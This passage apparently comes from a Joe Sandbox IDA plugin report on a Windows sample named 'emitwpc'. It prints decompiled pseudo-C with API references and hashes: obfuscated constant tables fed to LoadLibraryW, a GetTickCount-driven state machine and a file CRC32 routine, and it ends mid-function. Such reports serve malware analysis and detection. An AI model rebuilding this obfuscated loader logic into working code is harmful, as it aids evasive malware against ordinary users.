0x00389674
0x0038967e
0x0038968d
0x00389697
0x003896a1
0x003896ab
0x003896b5
0x003896bf
0x003896c9
0x003896d3
0x003896dd
0x003896e7
0x003896ee
0x003896f5
0x003896fc
0x00389703
0x0038970a
0x00389711
0x00389718
0x0038971f
0x00389726
0x0038972d
0x00389734
0x0038973b
0x00389742
0x00389749
0x00389750
0x00389757
0x0038975e
0x00389765
0x0038976c
0x00389773
0x0038977a
0x00389781
0x00389788
0x0038978f
0x00389796
0x0038979d
0x003897a4
0x003897ab
0x003897b2
0x003897b9
0x003897c0
0x003897cf
0x003897da
0x003897df
0x0038980b

APIs

LoadLibraryW.KERNEL32(00000000), ref: 003897D2

Strings

CJ4, xrefs: 00389444
Ba(, xrefs: 003895AC
Mq, xrefs: 00389697
m#D, xrefs: 00389656
)E'5, xrefs: 00389124
@, xrefs: 003895C0
mk1, xrefs: 0038920A
7/1x, xrefs: 00389734
@J5, xrefs: 003890C0
^5z~, xrefs: 0038943A

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: )E'5$7/1x$@$@J5$CJ4$Mq$^5z~$m#D$Ba($mk1
API String ID: 1029625771-1881183590
Opcode ID: 68d3b56ab85a28001ecae0f59d26fc824667e3705b7f1222f404caaf29bdb43f
Instruction ID: 9cc53c1e8a88a7b15d8fb86538d055949a9625294f48b452c842843643a79989
Opcode Fuzzy Hash: 68d3b56ab85a28001ecae0f59d26fc824667e3705b7f1222f404caaf29bdb43f
Instruction Fuzzy Hash: EA0298B4C46369CBDF61DF81AA897CDBB70BB11304F6086C9C5593B215CB750A86CF85

Uniqueness

Uniqueness Score: 100.00%

Function 0038BA2A, Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 171
libraryUNIQUE

C-Code - Quality: 99%

			E0038BA2A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t155;
				void* _t165;

				_t155 = __ebx;
				 *((intOrPtr*)(_t165 - 0x254)) = 0x63494279;
				 *((intOrPtr*)(_t165 - 0x250)) = 0xe174e45c;
				 *((intOrPtr*)(_t165 - 0x24c)) = 0x478f3a36;
				 *((intOrPtr*)(_t165 - 0x248)) = 0x5d285862;
				 *((intOrPtr*)(_t165 - 0x244)) = 0xf6204c51;
				 *((intOrPtr*)(_t165 - 0x240)) = 0x8f4b285d;
				 *((intOrPtr*)(_t165 - 0x23c)) = 0x9d782d6a;
				 *((intOrPtr*)(_t165 - 0x238)) = 0x50e6beb5;
				 *((intOrPtr*)(_t165 - 0x234)) = 0xd8c7ffa1;
				 *((intOrPtr*)(_t165 - 0x230)) = 0x797eee99;
				 *((intOrPtr*)(_t165 - 0x22c)) = 0xe2ad1a62;
				 *((intOrPtr*)(_t165 - 0x228)) = 0x267e8d69;
				 *((intOrPtr*)(_t165 - 0x224)) = 0xc6fccfd8;
				 *((intOrPtr*)(_t165 - 0x220)) = 0x65b05c7;
				 *((intOrPtr*)(_t165 - 0x21c)) = 0x52738282;
				 *((intOrPtr*)(_t165 - 0x218)) = 0x59a783a3;
				 *((intOrPtr*)(_t165 - 0x214)) = 0x5adf1a7b;
				 *((intOrPtr*)(_t165 - 0x210)) = 0x6e7de17a;
				 *((intOrPtr*)(_t165 - 0x20c)) = 0xca5ff49f;
				 *((intOrPtr*)(_t165 - 0x208)) = 0x2fc09274;
				 *((intOrPtr*)(_t165 - 0x204)) = 0x6658a50b;
				 *((intOrPtr*)(_t165 - 0x200)) = 0x16c1a0be;
				 *((intOrPtr*)(_t165 - 0x1fc)) = 0xcc1b9b67;
				 *((intOrPtr*)(_t165 - 0x1f8)) = 0x4a5fd6b3;
				 *((intOrPtr*)(_t165 - 0x1f4)) = 0x77c54917;
				 *((intOrPtr*)(_t165 - 0x1f0)) = 0xba3538b9;
				 *((intOrPtr*)(_t165 - 0x1ec)) = 0x7d4a2147;
				 *((intOrPtr*)(_t165 - 0x1e8)) = 0x69fa4a69;
				 *((intOrPtr*)(_t165 - 0x1e4)) = 0x1e128d5c;
				 *((intOrPtr*)(_t165 - 0x1e0)) = 0x723169a;
				 *((intOrPtr*)(_t165 - 0x1dc)) = 0x421b3829;
				 *((intOrPtr*)(_t165 - 0x1d8)) = 0xc46039bb;
				 *((intOrPtr*)(_t165 - 0x1d4)) = 0xddfb93a8;
				 *((intOrPtr*)(_t165 - 0x1d0)) = 0x7adb595a;
				 *((intOrPtr*)(_t165 - 0x1cc)) = 0xb501583d;
				 *((intOrPtr*)(_t165 - 0x1c8)) = 0xfe269756;
				 *((intOrPtr*)(_t165 - 0x1c4)) = 0x4e2bd0a;
				 *((intOrPtr*)(_t165 - 0x1c0)) = 0x46f3bca8;
				 *((intOrPtr*)(_t165 - 0x1bc)) = 0x99fe13f6;
				 *((intOrPtr*)(_t165 - 0x1b8)) = 0x4f8018c8;
				 *((intOrPtr*)(_t165 - 0x1b4)) = 0x9e804fe1;
				 *((intOrPtr*)(_t165 - 0x1b0)) = 0x342ba039;
				 *((intOrPtr*)(_t165 - 0x1ac)) = 0xe6f2d53d;
				 *((intOrPtr*)(_t165 - 0x1a8)) = 0xd6e3d6f3;
				 *((intOrPtr*)(_t165 - 0x1a4)) = 0x57bb77f1;
				 *((intOrPtr*)(_t165 - 0x1a0)) = 0x6c9926d2;
				 *((intOrPtr*)(_t165 - 0x19c)) = 0x93954019;
				 *((intOrPtr*)(_t165 - 0x198)) = 0x256fdde6;
				 *((intOrPtr*)(_t165 - 0x194)) = 0x221792dd;
				 *((intOrPtr*)(_t165 - 0x190)) = 0x358821bc;
				 *((intOrPtr*)(_t165 - 0x18c)) = 0x9bb828c9;
				 *((intOrPtr*)(_t165 - 0x188)) = 0x6375c400;
				 *((intOrPtr*)(_t165 - 0x184)) = 0xac66e5e2;
				 *((intOrPtr*)(_t165 - 0x180)) = 0x7c2520bd;
				 *((intOrPtr*)(_t165 - 0x17c)) = 0x5347274;
				 *((intOrPtr*)(_t165 - 0x178)) = 0x2c01a632;
				 *((intOrPtr*)(_t165 - 0x174)) = 0xcd57ff19;
				 *((intOrPtr*)(_t165 - 0x170)) = 0x189914cb;
				 *((intOrPtr*)(_t165 - 0x16c)) = 0x5725464a;
				 *((intOrPtr*)(_t165 - 0x168)) = 0x15a79522;
				 *((intOrPtr*)(_t165 - 0x164)) = 0x883d49b9;
				 *((intOrPtr*)(_t165 - 0x160)) = 0xdbd2223e;
				 *((intOrPtr*)(_t165 - 0x15c)) = 0xd2ced7e9;
				 *((intOrPtr*)(_t165 - 0x158)) = 0xac6f5ec4;
				 *((intOrPtr*)(_t165 - 0x154)) = 0x2d6cf3b1;
				 *((intOrPtr*)(_t165 - 0x150)) = 0x3e43fc0d;
				 *((intOrPtr*)(_t165 - 0x14c)) = 0xb9d50b04;
				 *((intOrPtr*)(_t165 - 0x148)) = 0x9500b725;
				 *((intOrPtr*)(_t165 - 0x144)) = 0x6686a35a;
				 *((intOrPtr*)(_t165 - 0x140)) = 0xe37de979;
				 *((intOrPtr*)(_t165 - 0x13c)) = 0xb932e49;
				 *((intOrPtr*)(_t165 - 0x138)) = 0x4570cb4a;
				 *((intOrPtr*)(_t165 - 0x134)) = 0xdd56b95f;
				 *((intOrPtr*)(_t165 - 0x130)) = 0xd4332a8e;
				 *((intOrPtr*)(_t165 - 0x12c)) = 0xf810e538;
				 *((intOrPtr*)(_t165 - 0x128)) = 0x9fa0e062;
				 *((intOrPtr*)(_t165 - 0x124)) = 0xe17b318f;
				 *((intOrPtr*)(_t165 - 0x120)) = 0xa99daeaa;
				 *((intOrPtr*)(_t165 - 0x11c)) = 0x81cb5a8b;
				 *((intOrPtr*)(_t165 - 0x118)) = 0x68c081b3;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t165 - 0x114)) = 0x5790c2c5;
				 *((intOrPtr*)(_t165 - 0x110)) = 0xd14e5467;
				 *((intOrPtr*)(_t165 - 0x10c)) = 0xf3568b1;
				 *((intOrPtr*)(_t165 - 0x108)) = 0xd1859a7d;
				 *((intOrPtr*)(_t165 - 0x104)) = 0x926cfea0;
				 *((intOrPtr*)(_t165 - 0x100)) = 0xce38d4be;
				 *((intOrPtr*)(_t165 - 0xfc)) = 0x49975a8;
				 *((intOrPtr*)(_t165 - 0xf8)) = 0x39069721;
				 *((intOrPtr*)(_t165 - 0xf4)) = 0x3ff5988f;
				 *((intOrPtr*)(_t165 - 0xf0)) = 0x40bdfd0f;
				 *((intOrPtr*)(_t165 - 0xec)) = 0xb932e23;
				 *((intOrPtr*)(_t165 - 0xe8)) = 0xf0070458;
				 *((intOrPtr*)(_t165 - 0xe4)) = 0x3e8d9ebd;
				 *((intOrPtr*)(_t165 - 0xe0)) = 0xcaf06021;
				 *((intOrPtr*)(_t165 - 0xdc)) = 0x75bf9aed;
				 *((intOrPtr*)(_t165 - 0xd8)) = 0xb0a905fc;
				 *((intOrPtr*)(_t165 - 0xd4)) = 0xc707501c;
				 *((intOrPtr*)(_t165 - 0xd0)) = 0xb79a14ce;
				 *((intOrPtr*)(_t165 - 0xcc)) = 0x3d3a2493;
				 *((intOrPtr*)(_t165 - 0xc8)) = 0x640088d0;
				 *((intOrPtr*)(_t165 - 0xc4)) = 0x1c282913;
				 *((intOrPtr*)(_t165 - 0xc0)) = 0x68fccc33;
				 *((intOrPtr*)(_t165 - 0xbc)) = 0x9bf4608c;
				 *((intOrPtr*)(_t165 - 0xb8)) = 0xb92080a;
				 *((intOrPtr*)(_t165 - 0xb4)) = 0xf5c8f6f3;
				 *((intOrPtr*)(_t165 - 0xb0)) = 0x286b9af5;
				 *((intOrPtr*)(_t165 - 0xac)) = 0x5409d4dc;
				 *((intOrPtr*)(_t165 - 0xa8)) = 0xd0af62fe;
				 *((intOrPtr*)(_t165 - 0xa4)) = 0xaec8326e;
				 *((intOrPtr*)(_t165 - 0xa0)) = 0xa870ef5e;
				 *((intOrPtr*)(_t165 - 0x9c)) = 0xdd8cf5ea;
				 *((intOrPtr*)(_t165 - 0x98)) = 0x8e64fc50;
				 *((intOrPtr*)(_t165 - 0x94)) = 0x7147bed3;
				 *((intOrPtr*)(_t165 - 0x90)) = 0xef4e1380;
				 *((intOrPtr*)(_t165 - 0x8c)) = 0xfcfaabf5;
				 *((intOrPtr*)(_t165 - 0x88)) = 0x521bcc2b;
				 *((intOrPtr*)(_t165 - 0x84)) = 0x2ba0cb6c;
				 *((intOrPtr*)(_t165 - 0x80)) = 0x93ddb426;
				 *((intOrPtr*)(_t165 - 0x7c)) = 0xe18c0515;
				 *((intOrPtr*)(_t165 - 0x78)) = 0xd364ac18;
				 *((intOrPtr*)(_t165 - 0x74)) = 0x30133878;
				 *((intOrPtr*)(_t165 - 0x70)) = 0x2477a80c;
				 *((intOrPtr*)(_t165 - 0x6c)) = 0x4f649ef0;
				 *((intOrPtr*)(_t165 - 0x68)) = 0xec17780d;
				 *((intOrPtr*)(_t165 - 0x64)) = 0xd7fcce46;
				 *((intOrPtr*)(_t165 - 0x60)) = 0x17b801b3;
				 *((intOrPtr*)(_t165 - 0x5c)) = 0xb31115cc;
				 *((intOrPtr*)(_t165 - 0x58)) = 0xdc042498;
				 *((intOrPtr*)(_t165 - 0x54)) = 0x5ad123c5;
				 *((intOrPtr*)(_t165 - 0x50)) = 0x5cd4380e;
				 *((intOrPtr*)(_t165 - 0x4c)) = 0x94097e9a;
				 *((intOrPtr*)(_t165 - 0x48)) = 0x2fd80092;
				 *((intOrPtr*)(_t165 - 0x44)) = 0xc2f5e2b4;
				 *((intOrPtr*)(_t165 - 0x40)) = 0x74d59ad6;
				 *((intOrPtr*)(_t165 - 0x3c)) = 0x47c835c2;
				 *((intOrPtr*)(_t165 - 0x38)) = 0xd8441b8b;
				 *((intOrPtr*)(_t165 - 0x34)) = 0x7c07614d;
				 *((intOrPtr*)(_t165 - 0x30)) = 0xf13fa674;
				 *((intOrPtr*)(_t165 - 0x2c)) = 0xa6b65dcf;
				 *((intOrPtr*)(_t165 - 0x28)) = 0xa3c08375;
				 *((intOrPtr*)(_t165 - 0x24)) = 0x5ee40c11;
				 *((intOrPtr*)(_t165 - 0x20)) = 0x5b22c6ce;
				 *((intOrPtr*)(_t165 - 0x1c)) = 0x6adfd0eb;
				 *((intOrPtr*)(_t165 - 0x18)) = 0x1bf5425c;
				 *((intOrPtr*)(_t165 - 0x14)) = 0xab354f45;
				 *((intOrPtr*)(_t165 - 0x10)) = 0x724244a0;
				 *((intOrPtr*)(_t165 - 0xc)) = 0xfd06411d;
				 *((intOrPtr*)(_t165 - 8)) = 0xae4c4691;
				 *((intOrPtr*)(_t165 - 4)) = 0x5af1359b;
				_t163 = L00381D10(0x391610, 0x1f8, __edi, __esi);
				 *0x394ca0 = LoadLibraryW(_t151);
				L00381DB0(_t163);
				return E00381570(_t155,  *0x394ca0, _t165 - 0x254, _t163, 0x95, 0x51873af2, 0x394850);
			}

0x0038ba2a
0x0038ba2a
0x0038ba34
0x0038ba3e
0x0038ba48
0x0038ba52
0x0038ba5c
0x0038ba66
0x0038ba70
0x0038ba7a
0x0038ba84
0x0038ba8e
0x0038ba98
0x0038baa2
0x0038baac
0x0038bab6
0x0038bac0
0x0038baca
0x0038bad4
0x0038bade
0x0038bae8
0x0038baf2
0x0038bafc
0x0038bb06
0x0038bb10
0x0038bb1a
0x0038bb24
0x0038bb2e
0x0038bb38
0x0038bb42
0x0038bb4c
0x0038bb56
0x0038bb60
0x0038bb6a
0x0038bb74
0x0038bb7e
0x0038bb88
0x0038bb92
0x0038bb9c
0x0038bba6
0x0038bbb0
0x0038bbba
0x0038bbc4
0x0038bbce
0x0038bbd8
0x0038bbe2
0x0038bbec
0x0038bbf6
0x0038bc00
0x0038bc0a
0x0038bc14
0x0038bc1e
0x0038bc28
0x0038bc32
0x0038bc3c
0x0038bc46
0x0038bc50
0x0038bc5a
0x0038bc64
0x0038bc6e
0x0038bc78
0x0038bc82
0x0038bc8c
0x0038bc96
0x0038bca0
0x0038bcaa
0x0038bcb4
0x0038bcbe
0x0038bcc8
0x0038bcd2
0x0038bcdc
0x0038bce6
0x0038bcf0
0x0038bcfa
0x0038bd04
0x0038bd0e
0x0038bd18
0x0038bd22
0x0038bd2c
0x0038bd36
0x0038bd40
0x0038bd4a
0x0038bd54
0x0038bd63
0x0038bd6d
0x0038bd77
0x0038bd81
0x0038bd8b
0x0038bd95
0x0038bd9f
0x0038bda9
0x0038bdb3
0x0038bdbd
0x0038bdc7
0x0038bdd1
0x0038bddb
0x0038bde5
0x0038bdef
0x0038bdf9
0x0038be03
0x0038be0d
0x0038be17
0x0038be21
0x0038be2b
0x0038be35
0x0038be3f
0x0038be49
0x0038be53
0x0038be5d
0x0038be67
0x0038be71
0x0038be7b
0x0038be85
0x0038be8f
0x0038be99
0x0038bea3
0x0038bead
0x0038beb7
0x0038bec1
0x0038becb
0x0038bed2
0x0038bed9
0x0038bee0
0x0038bee7
0x0038beee
0x0038bef5
0x0038befc
0x0038bf03
0x0038bf0a
0x0038bf11
0x0038bf18
0x0038bf1f
0x0038bf26
0x0038bf2d
0x0038bf34
0x0038bf3b
0x0038bf42
0x0038bf49
0x0038bf50
0x0038bf57
0x0038bf5e
0x0038bf65
0x0038bf6c
0x0038bf73
0x0038bf7a
0x0038bf81
0x0038bf88
0x0038bf8f
0x0038bf96
0x0038bf9d
0x0038bfa4
0x0038bfb3
0x0038bfbe
0x0038bfc3
0x0038bfef

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0038BFB6

Strings

y}, xrefs: 0038BCDC
yBIc, xrefs: 0038BA2A
G!J}, xrefs: 0038BB2E
JF%W, xrefs: 0038BC6E
bX(], xrefs: 0038BA48
z}n, xrefs: 0038BAD4
\t, xrefs: 0038BA34

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: G!J}$JF%W$\t$bX(]$yBIc$y}$z}n
API String ID: 1029625771-1870260104
Opcode ID: ee2fbc759f45bd53941583b3867afdd0414e4e0222f59cb7123b1fc9b09e23a8
Instruction ID: e55ecd482bb2a19ed3bca6a9791445f9cafefde5bc18adf348147a03b7a0964d
Opcode Fuzzy Hash: ee2fbc759f45bd53941583b3867afdd0414e4e0222f59cb7123b1fc9b09e23a8
Instruction Fuzzy Hash: 40C1B8B0C46369CBDB61DF86AA857CDBB70FB02704F6086C8C5593B214CB714A86CF85

Uniqueness

Uniqueness Score: 100.00%

Function 0038C801, Relevance: 10.6, APIs: 7, Instructions: 93
COMMON

C-Code - Quality: 96%

			E0038C801(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				signed int _t15;

				 *((intOrPtr*)(__esi + 0xf)) =  *((intOrPtr*)(__esi + 0xf)) + __edx;
				 *__eax =  *__eax + __eax;
				_t15 = GetTickCount();
				if( *0x394ca8 > _t15) {
					L19:
					return _t15;
				} else {
					_t15 =  *0x394cac - 1;
					if(_t15 > 3) {
						goto L19;
					} else {
						switch( *((intOrPtr*)(_t15 * 4 +  &M0038C96C))) {
							case 0:
								 *0x394cac = 0;
								_t17 = L00386E30(__edi, __esi, _t38);
								_t39 = _t17;
								if(_t17 == 0) {
									goto L7;
								} else {
									_t17 = L00387ED0(__edi, __esi, _t39);
									_t40 = _t17;
									if(_t17 == 0) {
										goto L7;
									} else {
										_t17 = E0038DE40(__ebx, _t26, __edi, _t40);
										if(_t17 != 0) {
											goto L7;
										} else {
											_t18 = GetTickCount();
											_t20 = GetTickCount();
											 *0x394cac = 2;
											_t22 = _t20 + 0xbb8 + _t18 % 0xbb8;
											 *0x394ca8 = _t22;
											return _t22;
										}
									}
								}
								goto L20;
							case 1:
								 *0x394cac = 0;
								__eflags = L00389020(__edi, __esi, __eflags);
								if(__eflags == 0) {
									L7:
									 *0x394cac = 4;
									return _t17;
								} else {
									__eax = L00389810(__edi, __esi, __eflags);
									__eflags = __eax;
									if(__eax == 0) {
										goto L7;
									} else {
										L0038AAE0();
										__eflags = __eax;
										if(__eflags == 0) {
											goto L7;
										} else {
											__eflags = L0038B930(__edx, __edi, __esi, __eflags);
											if(__eflags == 0) {
												goto L7;
											} else {
												__eflags = L0038BA20(__edi, __esi, __eflags);
												if(__eflags == 0) {
													goto L7;
												} else {
													__eax = L0038BFF0(__edi, __esi, __eflags);
													__eflags = __eax;
													if(__eax == 0) {
														goto L7;
													} else {
														__esp = __esp - 8;
														__eax = E00386B80(__ecx);
														__esp = __esp + 8;
														__eflags = __eax;
														if(__eax == 0) {
															goto L7;
														} else {
															_push(__ecx);
															__ecx = __eax;
															__eax = E0038E270(__eax);
															__esp = __esp + 4;
															__eflags = __eax;
															if(__eax == 0) {
																goto L7;
															} else {
																__eax = GetTickCount();
																__edx = 0;
																__ecx = 0xbb8;
																_t13 = __eax % 0xbb8;
																__eax = __eax / 0xbb8;
																__edx = _t13;
																__esi = _t13;
																__eax = GetTickCount();
																__eax = __eax + 0xbb8;
																 *0x394cac = 3;
																__eax = __eax + _t13;
																__eflags = __eax;
																 *0x394ca8 = __eax;
																_pop(__esi);
																return __eax;
															}
														}
													}
												}
											}
										}
									}
								}
								goto L20;
							case 2:
								 *0x394cac = 0;
								__esi = GetTickCount();
								__eax = E0038C6B0(__ebx, __eflags);
								__esi = __esi + __eax;
								__eflags = __esi;
								 *0x394cac = 3;
								 *0x394ca8 = __esi;
								_pop(__esi);
								return __eax;
								goto L20;
							case 3:
								__eax = SetEvent( *0x392d58);
								goto L19;
						}
					}
				}
				L20:
			}

0x0038c806
0x0038c80c
0x0038c80e
0x0038c81a
0x0038c967
0x0038c968
0x0038c820
0x0038c825
0x0038c829
0x00000000
0x0038c82f
0x0038c82f
0x00000000
0x0038c836
0x0038c840
0x0038c845
0x0038c847
0x00000000
0x0038c849
0x0038c849
0x0038c84e
0x0038c850
0x00000000
0x0038c852
0x0038c852
0x0038c859
0x00000000
0x0038c85b
0x0038c85b
0x0038c86c
0x0038c877
0x0038c881
0x0038c883
0x0038c889
0x0038c889
0x0038c859
0x0038c850
0x00000000
0x00000000
0x0038c89a
0x0038c8a9
0x0038c8ab
0x0038c88c
0x0038c88c
0x0038c897
0x0038c8ad
0x0038c8ad
0x0038c8b2
0x0038c8b4
0x00000000
0x0038c8b6
0x0038c8b6
0x0038c8bb
0x0038c8bd
0x00000000
0x0038c8bf
0x0038c8c4
0x0038c8c6
0x00000000
0x0038c8c8
0x0038c8cd
0x0038c8cf
0x00000000
0x0038c8d1
0x0038c8d1
0x0038c8d6
0x0038c8d8
0x00000000
0x0038c8da
0x0038c8da
0x0038c8dd
0x0038c8e2
0x0038c8e5
0x0038c8e7
0x00000000
0x0038c8e9
0x0038c8e9
0x0038c8ef
0x0038c8f1
0x0038c8f6
0x0038c8f9
0x0038c8fb
0x00000000
0x0038c8fd
0x0038c8fd
0x0038c903
0x0038c905
0x0038c90a
0x0038c90a
0x0038c90a
0x0038c90c
0x0038c90e
0x0038c914
0x0038c919
0x0038c923
0x0038c923
0x0038c925
0x0038c92a
0x0038c92b
0x0038c92b
0x0038c8fb
0x0038c8e7
0x0038c8d8
0x0038c8cf
0x0038c8c6
0x0038c8bd
0x0038c8b4
0x00000000
0x00000000
0x0038c92e
0x0038c93e
0x0038c940
0x0038c945
0x0038c945
0x0038c947
0x0038c951
0x0038c957
0x0038c958
0x00000000
0x00000000
0x0038c961
0x00000000
0x00000000
0x0038c82f
0x0038c829
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0038C80E
SetEvent.KERNEL32 ref: 0038C961

Part of subcall function 0038DE40: lstrcmpiW.KERNEL32(00395400,00394FF0,?,0038C857), ref: 0038DE78

GetTickCount.KERNEL32 ref: 0038C85B
GetTickCount.KERNEL32 ref: 0038C86C
GetTickCount.KERNEL32 ref: 0038C8FD
GetTickCount.KERNEL32 ref: 0038C90E
GetTickCount.KERNEL32 ref: 0038C938

Part of subcall function 0038C6B0: GetTickCount.KERNEL32 ref: 0038C6BB
Part of subcall function 0038C6B0: lstrlen.KERNEL32(00000000), ref: 0038C6E5
Part of subcall function 0038C6B0: GetTickCount.KERNEL32 ref: 0038C7B6

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CountTick$Eventlstrcmpilstrlen
String ID:
API String ID: 637603502-0
Opcode ID: d75f998846c80e4efd5a8a05dd733703b529f56c9e33fdede481f905e376e8d1
Instruction ID: be839d9fd2ac6849c786c8ceaa44a81a8bcd50942e9cbe1b37e951890774051c
Opcode Fuzzy Hash: d75f998846c80e4efd5a8a05dd733703b529f56c9e33fdede481f905e376e8d1
Instruction Fuzzy Hash: 9831BFB15143006FE717BBB5AC15716369CEB40305F0A44A7E805DB2A6EF76C805CF71

Uniqueness

Uniqueness Score: 0.01%

Function 0038D8D4, Relevance: 9.0, APIs: 6, Instructions: 22
fileCOMMON

C-Code - Quality: 51%

			E0038D8D4() {
				int _t3;
				void* _t7;
				void* _t9;
				void* _t11;

				_t7 = MapViewOfFile();
				if(_t7 != 0) {
					 *0x393304 = RtlComputeCrc32(0, _t7, GetFileSize(_t11, 0));
					UnmapViewOfFile(_t7);
				}
				CloseHandle(_t9);
				_t3 = CloseHandle(_t11);
				return _t3;
			}

0x0038d8da
0x0038d8de
0x0038d8f4
0x0038d8f9
0x0038d8f9
0x0038d900
0x0038d908
0x0038d910

APIs

MapViewOfFile.KERNEL32 ref: 0038D8D4
GetFileSize.KERNEL32(?,00000000), ref: 0038D8E3
RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 0038D8ED
UnmapViewOfFile.KERNEL32(00000000,?,00000000), ref: 0038D8F9
CloseHandle.KERNEL32 ref: 0038D900
CloseHandle.KERNEL32 ref: 0038D908

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: File$CloseHandleView$ComputeCrc32SizeUnmap
String ID:
API String ID: 741204879-0
Opcode ID: 6af309b543a050f1aea709493ebaf574b033a109bcfde852ea1cc6f7ef0251f2
Instruction ID: 1f77204fe3b29cb7b4764184d7764cd09acd84705ab4113dee3290c811a3d692
Opcode Fuzzy Hash: 6af309b543a050f1aea709493ebaf574b033a109bcfde852ea1cc6f7ef0251f2
Instruction Fuzzy Hash: F4E0B6B6240201ABE3033BA5BD8DBAB7A6CEB49302F000026F602C5160CF664A058B29

Uniqueness

Uniqueness Score: 0.01%

Function 0038BFFA, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 140
libraryUNIQUE

C-Code - Quality: 98%

			E0038BFFA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t124;
				void* _t134;

				_t124 = __ebx;
				 *((intOrPtr*)(_t134 - 0x1d8)) = 0xcc3200da;
				 *((intOrPtr*)(_t134 - 0x1d4)) = 0x4caa0f36;
				 *((intOrPtr*)(_t134 - 0x1d0)) = 0xa9a6dbf6;
				 *((intOrPtr*)(_t134 - 0x1cc)) = 0xbaf47dac;
				 *((intOrPtr*)(_t134 - 0x1c8)) = 0x460af3b5;
				 *((intOrPtr*)(_t134 - 0x1c4)) = 0x94386c61;
				 *((intOrPtr*)(_t134 - 0x1c0)) = 0x18b97ad8;
				 *((intOrPtr*)(_t134 - 0x1bc)) = 0xc352812b;
				 *((intOrPtr*)(_t134 - 0x1b8)) = 0x4c3a87c0;
				 *((intOrPtr*)(_t134 - 0x1b4)) = 0x8330f4b1;
				 *((intOrPtr*)(_t134 - 0x1b0)) = 0xc15f793c;
				 *((intOrPtr*)(_t134 - 0x1ac)) = 0x6fa8c569;
				 *((intOrPtr*)(_t134 - 0x1a8)) = 0x3b11dcf3;
				 *((intOrPtr*)(_t134 - 0x1a4)) = 0xaa96ff6;
				 *((intOrPtr*)(_t134 - 0x1a0)) = 0xb1d84eb1;
				 *((intOrPtr*)(_t134 - 0x19c)) = 0x49aa0315;
				 *((intOrPtr*)(_t134 - 0x198)) = 0x7f8f2941;
				 *((intOrPtr*)(_t134 - 0x194)) = 0x2ad17b9c;
				 *((intOrPtr*)(_t134 - 0x190)) = 0xfa688bbd;
				 *((intOrPtr*)(_t134 - 0x18c)) = 0x9c14558b;
				 *((intOrPtr*)(_t134 - 0x188)) = 0x521f59f7;
				 *((intOrPtr*)(_t134 - 0x184)) = 0xbefac58f;
				 *((intOrPtr*)(_t134 - 0x180)) = 0x5904ec23;
				 *((intOrPtr*)(_t134 - 0x17c)) = 0xa574fc83;
				 *((intOrPtr*)(_t134 - 0x178)) = 0x80f4869e;
				 *((intOrPtr*)(_t134 - 0x174)) = 0x8a3469d1;
				 *((intOrPtr*)(_t134 - 0x170)) = 0x4a6cd0db;
				 *((intOrPtr*)(_t134 - 0x16c)) = 0x7cbc94d;
				 *((intOrPtr*)(_t134 - 0x168)) = 0xdbda1ff1;
				 *((intOrPtr*)(_t134 - 0x164)) = 0x1436584f;
				 *((intOrPtr*)(_t134 - 0x160)) = 0xd8c86fa7;
				 *((intOrPtr*)(_t134 - 0x15c)) = 0x76c3ce23;
				 *((intOrPtr*)(_t134 - 0x158)) = 0x81773cb;
				 *((intOrPtr*)(_t134 - 0x154)) = 0xd159ceef;
				 *((intOrPtr*)(_t134 - 0x150)) = 0xd26daf02;
				 *((intOrPtr*)(_t134 - 0x14c)) = 0x3b4ff9fb;
				 *((intOrPtr*)(_t134 - 0x148)) = 0x21d7e98c;
				 *((intOrPtr*)(_t134 - 0x144)) = 0xbc079b8a;
				 *((intOrPtr*)(_t134 - 0x140)) = 0x2a8e3c43;
				 *((intOrPtr*)(_t134 - 0x13c)) = 0xc16a66e8;
				 *((intOrPtr*)(_t134 - 0x138)) = 0xf3619966;
				 *((intOrPtr*)(_t134 - 0x134)) = 0x376b47ce;
				 *((intOrPtr*)(_t134 - 0x130)) = 0x4360769;
				 *((intOrPtr*)(_t134 - 0x12c)) = 0x17821f88;
				 *((intOrPtr*)(_t134 - 0x128)) = 0x55b9b01a;
				 *((intOrPtr*)(_t134 - 0x124)) = 0xeaef3a3e;
				 *((intOrPtr*)(_t134 - 0x120)) = 0x8c07e497;
				 *((intOrPtr*)(_t134 - 0x11c)) = 0xd3d551df;
				 *((intOrPtr*)(_t134 - 0x118)) = 0x7abd1207;
				 *((intOrPtr*)(_t134 - 0x114)) = 0x1d2bf980;
				 *((intOrPtr*)(_t134 - 0x110)) = 0x97add55b;
				 *((intOrPtr*)(_t134 - 0x10c)) = 0x201af7db;
				 *((intOrPtr*)(_t134 - 0x108)) = 0x5e56629d;
